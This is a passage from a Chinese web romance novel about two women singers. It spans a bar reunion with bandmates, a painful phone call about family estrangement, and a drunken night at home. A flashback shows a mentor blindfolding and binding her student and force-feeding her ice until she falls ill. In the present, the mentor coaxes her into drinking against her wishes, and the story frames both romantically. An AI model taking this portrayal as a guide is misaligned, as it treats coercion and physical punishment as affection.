这也不怪他们,许风扰如今虽是当红乐队主唱,可比起柳听颂在乐坛中的地位,还是差了不只一点。 单看上次节目,柳听颂只是当了个特邀嘉宾,工作室就被粉丝骂得体无完肤,说燃陨乐队配不上柳听颂的咖位,若不是看到之后的表现,燃陨乐队和柳听颂合作出极惊喜的歌曲,工作室恐怕还得再挨一轮骂。 所以,他们根本就不敢想,也无法相信一向以清冷凉薄着称的柳听颂,会如此乖驯地跟在别人身后,被她牵着往前。 “我以为你们会赶早来,或者一前一后进来……”楚澄欲言又止,愣是没想到这两人会那么大大咧咧牵着手出现,一点准备都没有。 她只能询问道:“我等会让人过去,叫他们把照片删了,不准往外说出去” 虽然暂时没瞧见有谁拍照,但在娱乐圈摸爬滚打那么久,楚澄才不信所有人都会那么老实。 许风扰没说话,反倒是柳听颂摇头,说了声:“没事。” 楚澄闻言,眼睛一亮,唇边笑意就越发真切。 若柳听颂想要隐瞒关系,她们也能理解,大家都是圈子裏的人,明白恋情曝光后的代价,哪怕是专心搞音乐的歌手,在宣布恋情后也能惹出不少舆论,更何况是被捧上神坛的天后 完全不敢想会发生什么。 但她们能理解是理解,可作为许风扰好友,多少也会有点偏心,总不能瞧着许风扰吃偷偷摸摸、见不得人的苦吧 柳听颂此刻的态度就刚刚好,虽没有大张旗鼓的官宣,但私下也没有刻意避着,之后粉丝即便猜到了,也不会乱说,最多在小圈子中传播,也算是另一种在安全范围内的表明关系,对两人都好。 楚澄乐呵呵道:“那就这样,前两天阿风发视频的时候,我就瞧见有不少人在瞎猜,我记得好像还上了那APP的热榜,不过都是猜测,很快就被压下去了。” 她眼睛珠子一转,往两人身上扫过,又补充道:“这次估计得待久一点了。” 毕竟已经有人亲眼所见,还能拿出照片做证据了。 顺便还可以给她的酒吧免费宣传一波,省了不少钱,楚老板满意地点了点头。 许风扰瞧出她那点小心思,皮笑肉不笑道:“你要再磨蹭,让我们三一直杵在这儿,明天的热搜可真就下不来了。” 楚澄这才反应过来,尴尬一笑后,连忙带着她们往二楼去。 相比于人员混杂的一楼,二楼更隐蔽、安静些,刻意订做的沙发矮墙,如同一面面隔断,将空间分割成数块,若非有人刻意站起、探头查看,不然哪怕是邻桌也无法看清对面。 当然,也不会有人做出那么大胆的举动,毕竟这儿只招待与楚澄极熟悉的朋友,不然她也不会放心把许风扰和柳听颂都喊来。 两人刚一坐下,许风扰就自觉扫了码,无视前面迭起来废啤酒,直接点了一杯牛奶,还是常温的。 虽然楚澄早已预料,但还是看得好笑又好气,阴阳怪气冒出一句:“阿风小朋友,需要姐姐把灯光调亮点,给你做作业吗?” 许风扰斜眼一瞥,半点没受影响,甚至还加了一份炸薯条,备注:不要辣椒面,只放番茄酱。 过分辛辣也会影响嗓子。 气得楚澄差点就要掐人中了。 许风扰懒得理她的张牙舞爪,将手机递向柳听颂,便道:“你看看想喝什么?我记得上次喝的橙汁还行,裏头加了雪梨。” 真把楚澄的酒吧当冷饮店了。 亮起的手机屏幕又有消息弹出,刚认出是李见白的头像,下一秒就被许风扰快速划走,完全看不清是什么。 许风扰面色沉了沉,还没有来得及解释,旁边的柳听颂就靠近,贴在她耳边询问:“宝宝,想不想喝点酒” 许风扰懵了下,不可思议地转头看向对方。 第40章 想要把你教坏 “你说什么?”怕自己听错, 许风扰甚至又问了一句。 可那人却一字不变地重复:“宝宝,想不想喝点酒?” 楼下突然掀起一阵喧哗声,欢呼与兴奋喊叫声掺杂在一块, 楚澄像是说了些什么, 可许风扰却没能听清,在恍惚中, 不可控制地陷入回忆裏。 时间回到那年暑假,在一下午的试音后,柳听颂终于肯定了许风扰的天赋, 但也制定了更严苛的训练计划, 练声、运动, 甚至连饮食都被柳听颂一手包办。 许风扰对大部分安排都没有异议,唯独在饮食方面颇不适应。 这还得说到以前, 虽说S市的整体口味偏咸甜, 但奈何许风扰、李见白的监护人都忙碌, 偶然有空, 也只会从医院食堂裏带点饭, 而更多时候, 都是两小只拿着钱去找小区外的饭馆。 也不知怎的, 小区外的饭馆皆为香辣川味,好不容易冒出一家本地的,味道却一般。 许风扰和李见白起初只能涮着水,一边流泪一边斯哈斯哈地吃,后头竟也习惯,反倒变得无辣不欢, 有时嫌饭菜太寡淡,竟会有一种吃饱后又很快就饿了的感觉, 吃了也等于没吃,除非掺点辣椒进去。 可在柳听颂安排的食谱裏,别说辣了,稍刺激一点的食物都没有,甚至大夏天都在喝温水,愣是把一个爱吃辣的家伙折磨得半死不活,瞧见个柠檬都想啃一口,试图让淡得发慌的嘴裏多一点滋味。 最后许风扰实在耐不住,往柳听颂面前一坐,就道:“老师,咱们商量个事呗。” 灿烂日光下的少女低着头,沐浴过的牛奶香气散开,潮湿发丝贴在脸颊,显得有些可怜。 “你让我做什么都行,但能不能在饭裏给我加勺辣椒,”许风扰耷拉着眉眼,像只小狗在求饶。 “我实在吃不惯。” 她试图找出借口,又道:“我都吃那么多年了,不会有什么问题的,再说了,吸烟喝酒影响嗓子,也没见几个乐队主唱戒烟戒酒……” 话到此处,便有些理不直气不壮,虚虚道:“他们不也没事吗?” “嗯?” 拖长的尾音撩人,勾着许风扰回到现实,落进那双黑白分明的眸子中。 “宝宝?”她又喊道,不知何时拿起的酒杯,压在透明玻壁的指尖,指纹模糊,叫人难以看清。 耳畔响起架子鼓的声音,楚澄又说了什么,继而就往下走。 是纪鹿南她们来了 许风扰瞳孔涣散,分明没有喝酒,却被不断拉扯进回忆中。 当时的柳听颂是怎么做的? 她已经忘记了柳听颂有没有回答她了,只记得,当时的柳听颂目光沉沉地看了她一眼,眸中情绪复杂而晦涩,像是厌弃又像是严厉的审视,看得许风扰心头发慌。 接下的画面只剩下一片漆黑,不是因为遗忘,是柳听颂用布蒙住她的眼睛,双手也被紧紧栓在身前。 许风扰不知道她要做什么,心裏生出莫名恐慌,脑海中全是柳听颂的晦涩眼神。 自己真的做错了? 只是吃一点辣椒而已,又不是什么很过分的事情,柳听颂要求的其他事情,自己不是执行得很好吗? 失去视觉后的恐慌逐渐攀爬往上,被捆绑的手紧紧扣住,却无法将思绪缓和半点。 许风扰能感受到对方还坐在自己面前,森冷沉郁的视线让她联想漆黑的淤泥,或者覆满黑色鳞片的蛇。 是她做错事的惩罚吗? 柳听颂这是在“体罚”她? 许风扰突然想起高中时候的艺考生,比起还在埋头苦学、不知未来何处的同龄人,他们好像早早就确定了方向。 借着家裏的关系,拜在名师名下或是出名的培训机构,上课读书对她们而言,已不大重要,甚至屡屡搬出要练习的借口,请假缺课。 偶尔出现在教室中,就会一堆人聚在他们身边,询问着他们离校的生活。 而他们就用抱怨语气,控诉着自己老师有多凶,在自己做错之后,如何如何惩罚自己,罚站、饿一顿,甚至用木条敲打在掌心。 每当这时,周围同学就会发出一声接着一声惊嘆声,好像从沉闷的书本中钻出,窥见了外面世界的特别一角。 可当你要同情这些艺考生时,他们又会扬起眉毛,露出些许高高在上的得意神色,夸赞着自己的老师有多好,自己能得到什么样的荣誉,未来要去什么地方,而那些体罚,都会变成表示老师看重她们的证据。 柳听颂现在也是一样吗? 很难形容的感受,心脏一半在落地,露出些许莫名其妙的欣然,一半在接受凌迟,充满了对未知的忐忑。 她会怎么做呢? 许风扰忍不住回忆,那些艺考生提过的种种惩罚,可惜她知道的并不多 因为每当她们注意到许风扰在听时,便会换作另一种羡慕语气,夸张道:“许风扰你家肯定会对你更严格吧?毕竟你以后是要当医生的,可比我们这些学艺术的厉害多了。” 许风扰拧紧眉头,不由露出一丝厌恶神色。 而柳听颂的声音却在此刻响起,打断她的回忆。 是语气冷淡又透着严厉的命令声。 她说:“仰头。” “张嘴。” 是一个完全不同于其他人的惩罚。 许风扰一一照做,然后便尝冰块的味道。 是用模具倒满水后放入冷冻层,凝固得到方正冰块。 许风扰之前很喜欢将它掺进各种饮料裏,每次要灌满半杯杯子,将杯壁都冻得发白,直到饮料喝完后,再将化到一半的冰块倒进嘴裏,一颗接着一颗咬碎,这是炎热夏日中,最惬意、舒坦的消暑方式。 可此刻的许风扰来不及感受,心裏充满疑惑。 她甚至不敢动,将冰块抵在舌尖,寒气在最敏感的部位蔓延开,冷得刺骨。 柳听颂说:“吃下去。” 许风扰就咬碎冰块,碎开的冰渣在齿间碾压,偶有一两个尖角划过口腔软肉,不等刺痛蔓延就被冰凉压过,融化的水滑过喉管,能清晰感受到它的流动。 不等许风扰缓和,又是一块冰块递来。 微张的唇触到对方指尖,还没有来得及感受就已松开。 这一次不需要命令,许风扰就知道该怎么做。 一块接着一块。 当身上的热气消散,冰冷就变得难挨,连呼吸都透着寒意,薄唇的颜色削弱,透出些许白。 许风扰逐渐嚼不动了,只能将冰块含在口中,试图用并不温暖的舌头将它融化。 所有感官都被麻木,脑袋甚至开始冒出疼痛感受。 这才是真正的惩罚。 舌上的冰块还未化开,那人又伸手,纤长的手指轻松撬开她的唇齿,将冰块塞入。 这次停留的时间足够久,温热的指尖与冰块形成鲜明对比,以至于生出本能的渴望,就好像冰天雪地裏的人哪怕冒着被火炭灼烧的风险,也要将碳火揣在怀裏。 许风扰也是一样,即便是对方又塞进一块又一块的冰块,但她仍贪恋着那一点点指尖的暖意。 面色越来越白,捂化的水从唇边洩出,哪怕想要合上也会被含住的冰块制止。 方正冰块压住她的舌头、顶起腮帮子、硌在牙根,完全被塞满,以至于无法融化。 残余温度逐渐散去,化作僵硬的钝痛感,直直往脑子裏扎,嗓子也冒出难耐的刺疼。 无法支撑的脑袋像往下垂,却被指尖划过凸起喉管,掐住下颌,强行抬起。 她说:“仰头。” 是不允许违背的指令。 冰凉的水从舌根流淌,连吞咽都来不及,就这样往嗓子裏头咽。 屋外的天气依旧闷热,三十八度的天气让人叫苦不迭,连路边切好的西瓜都不好卖了,都嫌捂得发烫,一点都不解暑。 明亮日光穿过窗子,向裏蔓延,落在少女脚踝边,那滩越来越大的水洼中。 指尖泛起青紫,疼痛甚至被冻得迟缓。 眼前的布终于滑落,许风扰眯了眯眼,终于能瞧见对方。 柳听颂站在她面前,眸子冷锐,眉间凌冽,以一种居高临下的姿态,俯视着许风扰。 不像是惩罚,倒像是…… 训狗。 冰水从下颌滑落,滴在脚边,将水洼掀起圈圈涟漪。 白日过去,夜晚将临时,许风扰就烧起高烧,嗓子被灼热的肿痛覆盖,连声音都难以发出,甚至连起身的力气都没有。 在烧得浑浑噩噩时,她感受到柳听颂抚过她额头,之前被比作碳火的指尖,现在又变成沙漠旅途中的清凉夜风,一点点往下,抚过额头、鼻梁、嘴唇,又落在她下颌。 她轻轻开口,问:“真的没事吗?” “你怎么敢确定自己不是那百分之一” “许风扰,这就是你上蹿下跳要坚持的梦想” “可笑吗?” “如果这一次病好后,你的嗓子出现了问题,那我们的关系就这样结束吧。” 即便处于昏昏沉沉的状态下,许风扰还是陷入极惶恐的情绪中 是了,她敢保证 万一呢 尖叫声从楼下传出,一下子将许风扰拉扯回现实。 记忆中的清冷面容与此刻的柳听颂重迭,指尖却传来冰冷温度,不断提醒着她,那时所发生的一切,像是用刻刀深深篆在她身上,成为无形的项圈,紧紧扣在她的脖颈。 “不要,”许风扰摇了摇头,她握住柳听颂手腕,语气沉沉道:“这是你教我的。” “柳听颂,我不想去赌。” “我不敢肯定我是不是那百分之一。” 在半明半昧的环境裏,她眼眸清亮且坚定,像是无暇的宝石,写满少年人的澄澈与坚定。 柳听颂扯了扯唇角。 哪裏是她教得好,明明是许风扰本身就很好。 而她自己…… 柳听颂没有回应,反倒熟练打开酒瓶,夹起冰桶中的冰块,之前被捏住的玻璃杯,被琥珀色酒液和冰块盛满。 这是 许风扰很是疑惑,却瞧见柳听颂低头抿住酒吧。 像有根弦突然一松,许风扰顿时拧紧眉头,语气严厉地斥道:“柳听颂你这是在做什么?” 明明她以前和她一样,烟酒不沾。 可那人却偏头靠近,堵住她喋喋不休的嘴。 许风扰瞳孔一缩,下意识往后退,手杵在皮质沙发中,压出满是折痕的凹坑,那人却靠近,让她退无可退。 冰块抵在唇边,酒液顺着微张的唇瓣缝隙挤入,熟悉又陌生的感受,刺激着舌尖。 本能想要抵触,却在柳听颂的攻势下,节节败退,最后只能仍由酒液滑落进喉管。 耳边是楼下的吵闹,紧绷的神经,担忧着随时会上楼的楚澄,而面前的柳听颂,在反复撩拨着她奉行的戒律清规。 冰块碰撞向牙齿,固执要往她口裏塞。 许是被冷到了,许风扰眼睫发颤,眼尾莫名多了几分绯色,水雾覆在慌乱眼眸中,像破碎宝石,随时都要散落坠下。 冰块在炙热唇舌中融化开,之前就补过一次的口红,现在又被碾压化开。 “柳听颂……”不解声音含糊响起。 “老师、”这一声不似前几次的戏谑恶劣,更像个懵懂学生站在尊敬师长面前,发出迷茫不解的喊声。 唇瓣终于分开,可不等许风扰反应,那人又掐住她下颚,像之前一样迫使她仰头。 酒杯又被捏住,抵向她唇边,倾斜向裏。 “宝宝,”她声音很轻,宛如嘆息一般,像是风一吹就会散开,温柔得像是湖畔上不可触及的雾霭 “乖宝,”她这样喊,捏在下颌的指腹在薄皮上反复摩擦,压出杂乱的红痕。 许风扰被蛊惑,张了张嘴。 酒液被倒入,化开之前被冻得僵硬的口腔,掀起略微刺激的感受,在不断吞咽中,不算明显的喉管也浮现出来,撑着薄皮,上下滑动。 她柔声夸赞道:“乖孩子。” 这很像幼稚园裏的小孩,做了好事后就会被老师贴上一朵小红花。 许风扰拧紧了眉头。 主动权好像一下子就被对方夺回,再怎么嚣张的狗,骨子裏仍然充满着对主人畏惧,这是在长期训化中形成的本能。 酒杯终于见底,许风扰几乎是迫不及待的开口:“别、” 她慌张又带着几分不安,试图阻拦。 “柳听颂你想要做什么?”她想要得到这一切突然发生的原因,唇边的水迹明显,反射着光亮。 “想要做什么”那人拖长语调重复。 捏在下颌的手还在摩擦,如同在把玩一块上等的玉料,又好像在思索着答案。 “别闹了、”许风扰极力压住声音,挤出冷静姿态。 可那人却靠近,额头与之相抵,鼻尖触碰,亲吻过后过分瑰艳的唇开合,带着酒气道:“想要把你教坏。”《 》 40-50 第41章 我是什么东西,你最清楚 “想要把你教坏。” 话语落在许风扰耳边, 不等她回答,便听到杂乱脚步声。 许风扰慌忙将人推开,连忙扯向旁边纸巾, 往柳听颂手裏一塞, 自己也急忙低头擦拭。 被调侃怕了,若再被瞧见一嘴口红印, 今天晚上就不用想什么话题了,全是打趣她和柳听颂的话。 楚澄还在大声嚷嚷,语气中居然带着几分训斥:“……我说你也是, 那人谁啊?叫都叫不出名字的家伙, 他也配和你比?” 许风扰皱了皱眉, 直接就站起,问道:“咋了?” 这几人已走进来, 除了楚澄、况野外, 还有纪鹿南及其妻子。 她的妻子本名楚轻焰, 虽与楚澄同姓, 却无半点关系, 家世极显赫, 先前与纪鹿南属于家族联姻, 但纪鹿南宁死不从,愣是上演了一出逃婚戏码,如今却被楚轻焰拿捏得死死的。 要知道,她们四人中,数纪鹿南最爱玩,刚组乐队那会, 天天见她酒吧迪厅,女朋友换了一个接一个, 主打一个今朝有酒今朝醉的放浪风流人设。 大家还猜过,说纪鹿南会被怎样的人拿下,但任谁也没想到,竟是长袖善舞、左右逢源的S市花蝴蝶。 片刻间,楚轻焰已率先开口,妩媚桃花眼一弯,就笑道:“阿风那么早就来了?” 许风扰注意力被拉扯,当即就喊了声:“楚总。” 继而又将身后柳听颂介绍,楚轻焰便上前,几句打趣就将凝滞的气氛缓和,众人都笑起,打过招呼后全部坐下。 许风扰不忘之前的事情,又一次提起。 楚澄直* 接一拍腿,就道:“你猜猜况野刚刚干嘛了?” 况野当即伸手要捂她的嘴,却被楚澄一把打开,只好气呼呼道:“我就说她怎么一早就赶来了,还感动了下,让她荣登橙子最好朋友榜榜首,结果呢!” “这家伙居然是为了别人来的!” 听到这裏,许风扰几人都看向况野,满脸八卦。 别瞧着这人花臂项圈,一只耳朵六个孔,唇环舌钉样样不少,实际却是个标准木头,平常除了架子鼓就是修车、玩车,一次恋爱没谈过。 之前大家还怀疑过况野是不是喜欢那纹身师,但是嘴笨不会追人,所以借着纹身、穿孔的名义接近人家。 为此,楚澄还专门拉着况野去打了个耳洞,就为了观察况野和那个纹身师有没有啥火花,但事实很明显,况野就是图那人手艺好,两人是纯粹而干净的金钱关系。 而今燃陨大火,追况野的人络绎不绝,就连楚轻焰都帮忙介绍了几个,却没见过况野动心过。 “你们可不知道啊,刚刚咱们小野居然为了那女孩子,差点和人打起来!” 纪鹿南两人来得晚,完全没瞧见那一幕,而许风扰两人的注意力全在对方身上,一点没被外头的喧哗打断,所以个个都好奇不已。 “你闭嘴,我自己说,”况野怕楚澄夸大其词,连忙出声打断。 她嘴唇碾磨,少见地露出一丝羞窘:“我、确实对那个人有点意思。” “哇哦,我们况铁树真的开花了耶,”楚澄双手捧脸,十分浮夸地捧场。 纪鹿南连声问道:“她哪裏的?什么工作?现在还在楼下不叫她上来玩?” 楚轻焰妻唱妇随,笑道:“要不我们一起下去转转?” 许风扰只“嘶”了一声,无意识拽紧柳听颂的手,刚刚那点被柳听颂撩起的浮动都暂时搁下。 柳听颂不动声色,回握住许风扰的手。 “别、”况野一急,忙道:“别吓到她。” 众人顿时发出“噫”的一声。 况野一挠脑袋,赶上众人调侃前,连忙出声:“我也才认识她半个月。” “她是一家美甲店的老板。” “是个很酷的女孩子。” 在众人的注视下,她说得结结巴巴:“前段时间我去跑山,刚好遇到她摩托车出问题,停在路边。” “哟,这是半路救美啊,”楚澄憋不住出声。 况野却一顿,尴尬道:“我没理她。” 气氛一滞,众人皆懵住。 “是我下山的时候,她、她给我拦住了。” 纪鹿南追问:“然后你帮忙了” 况野表情更僵,默默道:“没,我把我家修车厂的名片给她了……” 众人:…… 况野努力找补了句:“那时候是大白天,她根本就没跑多远,还在山脚就停了,不会有什么危险。” 众人沉默。 况野继续挠头:“然后她就打电话了。” 许风扰都忍不住问道:“你带人去接她了?” 况野仰头看向天花板:“我忙着跑第二轮,没去。” 许风扰扯了扯僵硬的嘴角,柳听颂低下头。 楚轻焰埋在纪鹿南的脖颈笑得颤抖。 楚澄看看旁边的一对,再看看前边的一对,主动问道:“那你这是怎么喜欢上的” 况野眼神躲闪,最后还是只能说出来:“她可能心裏有气,接着看车的理由,天天来修车厂找我,一来二去就……” 楚澄把期待放到最低:“认识了” “谈恋爱了,”况野一点不走寻常路。 众人倒吸一口凉气,眼中多了一丝敬佩。 可况野下一秒就道:“三天,还没有来得及和你们说就分手了,她提的,她踹的我。” 纪鹿南:“6” 楚澄:“牛。” 许风扰都不知道自己该说什么好,只能憋出一句:“那你们现在是……” 况野闷声道:“我想追她,但是不知道怎么追。” “前两天她朋友来我这修车,我给了她朋友这边的卡、”她扯了扯嘴角就道:“她挺喜欢摇滚的。” “你倒是舍得,”楚澄不知该说什么好,脸都紫了。 虽然她朋友多,但在做生意这方面还是拧得很清,从试营业到现在就搞了十张卡,燃陨三人一人一张,只要是执卡者就不需要预约,卡座免费,消费打五折,还能直接上二楼,和倒贴没什么区别。 况野也知理亏,吶吶道:“那张卡的消费都算在我头上,我实在不知道怎么办了。” “我这是在说这个吗?去去去,少搞这些虚的,”楚澄嫌弃得不行 而许风扰揉了揉眉头,问:“那刚刚是?” “她和朋友一起过来玩,刚好在凌子他们那桌的旁边,我就过去和凌子他们坐着,结果瞧见那男的从其他桌过来,非要请她喝酒,”况野表情沉了沉,声音没了之前的温吞,掺着冰似的。 “我怕她被欺负,就过去拦着了。” 楚澄听到这话,竟被气笑,阴阳怪气就道:“哟,怕她被欺负哦。” “我怎么记得我过去的时候,你和人家说的是,”她冷笑一声,一字一顿道:“这、是、我、朋、友、的、店。” 她咬重字句继续:“第一天正式开业,我不希望别人惹事,给她找麻烦。” “我们小野姐还一脸义正言辞,搞得我感动得不行,寻思着况野这人没白交啊。” 接连被伤害的楚澄往后一靠,仰头望着天花板,哀怨道:“重色轻友,重色轻友啊。” “小南子快给哀家倒酒,哀家要借酒消愁。” 许风扰想笑又憋住,无意识双手握住柳听颂左手,将其包裹在掌心。 柳听颂掀起眼帘,看了她一眼,微微侧身。 于是,胳膊贴着胳膊,大腿粘着大腿,之前还隔着些许距离的两人,彻底贴在一块,甚至因柳听颂的手还在许风扰这边的缘故,就好像她靠在许风扰怀裏一般。 纪鹿南帮楚澄倒完酒,刚好瞧见对面的小动作,手一伸,越发揽住怀裏的妻子, 领了证的,就是底气足。 况野正心虚着,没能瞧见其他人的小动作,不然也会楚澄一样难过,她慢慢吞吞接道:“那男的和和我吵起来了,嚷嚷着要和我比鼓。” 楚澄喝了一口酒,活过来一点,接道:“那人我认识,一小乐队的鼓手,打得一般又觉得自己厉害的不行,上次我和其他人吃饭,他中途就插过来,非扯着我说他怀才不遇,叫我想办法给他个展示自己的机会。” “我懒得理他,敷衍几句就走了,他倒好,又追到这儿来了。” “我刚过去,他还心虚呢,”楚澄嘲讽道:“我看他刚开始是瞧上那女孩子了,结果你一出来,他就惦记上你了。” “这儿粉丝那么多,要是你真和他比了,改明视频一传,不管输赢,他都蹭上你的热度了。” “幸好我在楼上瞧见,赶紧下去把你拦住。” 楚澄撇了撇嘴就补充道:“改明我就把这人拉黑名单裏去,省的又来折腾。” 话到此处,前因后果全解释清楚。 许风扰虽察觉到一丝不对,觉得况野不是个容易激动的人,再恼火也不至于被逼成这样,按照往日作风,应是直接叫人将他们赶出去,又怎么会当众和别人吵起来,甚至要楚澄过去才能拉开 但是很快,这点疑惑就被其他事情盖住,大家开始热火朝天地分析,给况野出谋划策。 于是乎,桌上的骰子一动不动,只有酒开了不少。 中途店员送来牛奶和薯条,却被柳听颂无声推到一边,继而将酒杯塞进许风扰手中。 许风扰只瞥了她一眼,还是没能放下。 但她也喝得不多,加上之前的,也就两杯威士忌酒杯的量。 反倒是柳听颂自个喝了不少。 其他人察觉到许风扰的改变,但奈何焦点都在况野身上,楚澄刚冒出一句揶揄,许风扰就把话题绕回,愣是被这样掀过去。 酒局过半,置于桌面的手机骤然亮起。 还是李见白。 众人被打断,下意识看过来,许风扰松开柳听颂的手,拿起手机下意识一遮,就道:“我出门接个电话。” 这点小事没有引起众人注意,许风扰一走,说话声就又响起。 唯有柳听颂看着越走越快的背影,若有所思。 只是一个普通电话,许风扰却走出酒吧,直到偏僻无人处才停下。 第一个电话无人接通,立马就有第二个电话接上。 亮起的屏幕映出许风扰面容,之前的笑意已经淡去,眉头紧拧,眼中闪过一丝阴鸷,深吸了一口气就接通。 “阿风,”李见白焦急的声音从扬声器中传出,下一秒就道:“你外婆住院了!” 说话声散开又泯灭,没有得到任何回应。 李见白像是料想到这一幕,没有停歇就道:“我知道你怨他们,但是她这次真的很严重,哪怕是我爸妈都说手术风险很大,最多只有百分之二十的希望。” “如果你有空,还是过来看看她。” “再怎么说,他们也养了你那么久,总比许总对你好吧?” 她絮絮叨叨地打个感情牌,又道:“也不知道怎么回事,她去年忙忙碌碌时,身子还算健康,今年都退下去了,反倒出了这一遭。” “我不想你有遗憾,阿风。” “你外婆这两天总呆呆看着窗外,唉,如果不是那么严重的话,我也不想那么着急。” 许风扰没有回答,眼神定定停留在远处,今夜天气压抑,浓厚的云层泛起紫意,不见月亮也不见星辰,不远处的灯光都显得暗淡许多,醉醺醺的人被搀扶着往外走,嬉笑的人踏入酒吧,墙的另一面还有音乐声冒出,扰得心脏闷疼。 “我知道你怨他们,但是……你看我和我爸妈现在不也很好吗?” “我和你不一样,”许风扰咬着牙。 “哪有什么不一样,我也是工作之后才能理解他们,他们现在对我也有很多愧疚……” “性质不一样,”许风扰压着脾气。 “她们也是你的血浓于水的亲人,这是割舍不掉的。” 许风扰深吸一口气,说:“事情没有你想的那么简单。” “可是她现在要……” “李见白!” 话还没有说完就被打断,按捺不住的怒意彻底爆出,许风扰声音又冲又急。 她几乎是破口大骂:“你知道什么?你在自以为是什么?当个医生就开始假慈悲了?!” “你以为谁都是你爸妈,谁都是你这个乖乖听话的好孩子?!” 她现在就像个炸毛的刺猬,完全不在意自己在说什么,完全不顾对方的回答。 “你凭什么为她们说话?!” “小时候一起被丢在家裏,陪你过夜的是我,年三十和你一起被关在医院休息室的人是我,你生病发烧的时候,旁边的人也是我!” “这些我都记得,但是他们为了工作,他们也不得已……”李见白挤出一句。 “是,他们是为了工作,他不得已,”许风扰突然点头,在怒不可遏下,身体竟颤抖起来,她一字一句问道:“那逼着我们学医是不得已,是工作强迫的吗?” “你忘记了那个人是怎么对我们的,你为什么会选择皮肤科,我又为什么会忍受不了身上的任何缺陷,将所有痣都点掉?” “李见白,你都忘记了?” “你是怎么可以假装释怀,轻描淡写地说出不得已的。” “我、阿风,可是她真的要……”李见白声音发颤,极力出声道。 许风扰深吸一口气,整个人往后仰,用力砸在墙面上,这几日稍化下去的戾气再一次冒出,整个人都变得尖锐。 她扯出一丝讽笑,笑意不及眼底,只觉分外冰冷:“你别忘记了,是他们把我赶出去的。” “我是什么东西,你最清楚。” “你有父母,我可是没有爹的野种。” “阿风你别说了,”李见白试图打断。 可那人却没有停,声音缓和下来,却没有好转些许,反倒越发让李见白心慌。 “我那时跪着门口,求他们开门的时候,他们怎么说?” “他们只给了我两条路,一是乖乖学医,二是和我那野种妈一起滚出去,以后桥归桥路归路,别让脏了他们的家门。” 话到此处,反倒有一种莫名的轻松,就好像被刀贴在肉上的人,刀落肉掉后,反倒松了口气。 “我上次出院可是在你们医院,他们不会不知道吧?” 许风扰扯了扯唇,只道:“李见白你别那么天真了,你当真以为他们对你好?” “如果你不当这个医生,他们真的还会像现在这样对你吗?” 医院过道中的人突然哑然,即便在大夏天也冒出寒气,面色苍白。 而另一个人没有再说,直接就挂断电话。 远处的浓云依旧,漆黑的云泛着诡异的紫色,不断往那些高楼压去,像是要将那些钢铁框架全部折断。 她靠在阴影中,十几分钟后面才慢吞吞往裏头走。 再过一段时间,醉醺醺的许风扰被人搀扶着,走出酒吧。 第42章 我永远比你想象中的更喜欢你 杂乱虚浮的脚步声响起, 屋裏蜷缩成一团的猫竖起耳朵,往房门方向看去。 先是电子锁的声音,搀扶许风扰的人勉强伸出手, 一下子将灯全部打开, 之前的漆黑空间瞬间亮得刺眼。 醉醺醺的家伙顿时不满,也不管对方如何, 偏头往对方脖颈裏埋,躲开光亮。 柳听颂被推得连退几步,差点撞向旁边。 可另一人却不管不顾, 因身长肩宽的缘故, 她比柳听颂看起来大只许多, 现在委委屈屈地弯腰低头,不断往对方肩颈蹭, 显得滑稽又可怜, 像只萨摩耶不断将脑袋埋在小猫肚皮, 完全不看自己有多大只。 呼吸洒落在锁骨, 当做外套的衬衫早掉落一边, 滚烫酒气熏红肌肤。 “柳听颂, ”那人含糊出声, 开口嘴唇贴着肌肤,浓且卷的睫毛划过薄皮下的脉搏。 “我在、我在这裏,”柳听颂顾不得其他,越发揽紧对方。 “乖,”她试图哄骗,想要许风扰跟着她往裏。 可醉鬼哪裏会听话, 连自己都控制不住自己,完全由没有逻辑, 全凭本能。 许风低着脑袋,突兀就冒出一句:“你这裏怎么有个牙印?!” 那语气和柳听颂出轨似的,又气又委屈。 她一下子抬起头,被酒液熏红的眼眸朦胧,一副要哭不哭的样子。 “是哪只狗咬的?”她含着眼泪,凶巴巴地开口。 “是哪只坏狗咬的?”她反复念叨。 突然就醋成这样了。 柳听颂也是微醺,一时卡词后竟不知说什么,只能拖着这人往裏。 大缅因在此刻跳下沙发,迈着优雅猫步往前,一路喵喵叫个不停,像是对偷跑出去玩一晚上的坏人类的控诉。 起码要开两个罐头,再陪猫玩一个小时才能让猫消气。 可让猫没想到的是,人类竟大步地越过它。 “喵!”缅因气得大叫一声。 “三斤……”柳听颂这才想起家裏有只猫。 许风扰也跟着回头,涣散的瞳孔没个焦距,好半天才找到猫在哪裏,气鼓鼓就瞪着缅因道:“是不是你咬的?” “你个大坏猫!” 这都走了一截了,还记得这茬呢。 许风扰气得不行,还想蹲下来和猫理论,柳听颂急忙将她拽住,那人又委屈起来,哼哼道:“柳听颂你果然是外面有狗了。” “你不爱我了。” “你要和猫在一起了。” 一句比一句没没道理,柳听颂连脱带拽,终于把她带回房间。 虽然许风扰身材瘦削,但酒醉后的人分外沉,柳听颂想要将她小心扶上///床,可刚到床边,手一松,这人就砸进柔软的床铺中。 不可能疼,就是声音大了点,有点唬人。 “阿风,”焦急声音还没有彻底问出,许风扰就伸手一拽,将人拉扯,同样摔下。 紧接着她翻身就压过来,灯光被遮掩,灰影随之覆住身下人。 “柳听颂你摔我,”那人又开始控诉。 旁人喝酒醉是疯闹乱跑,她倒好,变成无理取闹的娇蛮。 “你也不要我了是不是?”她低垂着头,杂乱白发半掩眼眸,却挡不住眼眶周围的红,不知怎的,现在又委屈起来了。 可对方再怎么闹腾,也是柳听颂该受的,谁叫她哄着许风扰破戒喝酒。 “你是不是不要我了?” “你有外面的狗就不要我了,”许风扰越说越委屈,那眼眶的雾气还未凝聚,就像珠子般噼裏啪啦往掉,砸在柳听颂脸颊。 柳听颂明显慌乱了下,抬手就捧住许风扰的脸,忙道:“没有不要你、我怎么不会不要你。” 这点无力安慰没有许风扰好转一点,反倒眉眼一耷拉,如夏日潭水般的碧色眼眸这会真下起大雨来,滴在柳听颂脸颊、鼻梁还有睫毛上。 许风扰平日很少哭,从小独立惯了,与其对着空荡荡屋子哭了半天,还不如早点解决问题,以至于后面都不知道怎么哭。 可如今酒精作祟,那些早已被遗忘的本能又被挖掘。 “你就是不要我了。” “你坏。” “你在外面有别的狗了。” 许风扰面皮薄,肤色又白,眼眶的红随着泪水弥漫开,哭诉中带着抽噎,原本尖锐冷硬,现在都化作一戳就开始冒咸水的委屈模样。 “你和她们都一样,”她咬着牙指责。 “不会不要你,怎么会舍得不要你,”那眼泪往皮肤裏钻,像是淹没在酸涩的海中,叫柳听颂咽了一口又一口的咸水,声音沙哑。 说者不知是何心思,但听者心中有愧,自会联想到之前。 